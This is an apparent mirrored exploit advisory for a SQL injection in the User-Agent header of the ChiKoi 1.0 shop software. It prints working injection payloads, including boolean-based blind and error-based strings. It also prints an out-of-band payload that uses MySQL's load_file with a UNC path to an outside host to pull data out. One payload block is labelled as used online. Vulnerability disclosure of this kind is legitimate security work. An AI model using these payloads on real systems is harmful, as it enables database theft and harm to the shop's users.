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ChiKoi 1.0 SQL Injection

CVE Category Price Severity
Author Risk Exploitation Type Date
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023010021

Below is a copy:

ChiKoi 1.0 SQL Injection
## Title: ChiKoi-1.0 SQLi
## Author: nu11secur1ty
## Date: 01.12.2023
## Vendor: https://chikoiquan.tanhongit.com/
## Software: https://github.com/tanhongit/new-mvc-shop/releases/tag/v1.0
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/tanhongit/2023/ChiKoi

## Description:
The `User-Agent` HTTP header appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\v3z9cjkbngnzrm7piruwhl6olfr8fzknbqzlmba0.glumar.com\\quv'))+'
was submitted in the User-Agent HTTP header.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The attacker can steal all information from this system and can
seriously harm the users of this system,
such as extracting bank accounts through which they pay each other, etc.

## STATUS: HIGH Vulnerability - CRITICAL

[+] Payload:

```MySQL
---
Parameter: User-Agent (User-Agent)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.1.9)
Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)' WHERE 2474=2474 AND
9291=(SELECT (CASE WHEN (9291=9291) THEN 9291 ELSE (SELECT 4553 UNION
SELECT 6994) END))-- -

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.1.9)
Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)' WHERE 4578=4578 AND
(SELECT 8224 FROM(SELECT COUNT(*),CONCAT(0x71706b7171,(SELECT
(ELT(8224=8224,1))),0x716a6a6271,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VCWR
---
```
[+] Online:

```MySQL
---
Parameter: User-Agent (User-Agent)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1)
Gecko/20060601 Firefox/2.0 (Ubuntu-edgy)' WHERE 8386=8386 AND
8264=(SELECT (CASE WHEN (8264=8264) THEN 8264 ELSE (SELECT 2322 UNION
SELECT 6426) END))-- -
---
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/tanhongit/2023/ChiKoi)

## Proof and Exploit:
[href](https://streamable.com/7x69yz)

## Time spent
`01:30:00`

## Writing an exploit
`00:05:00`

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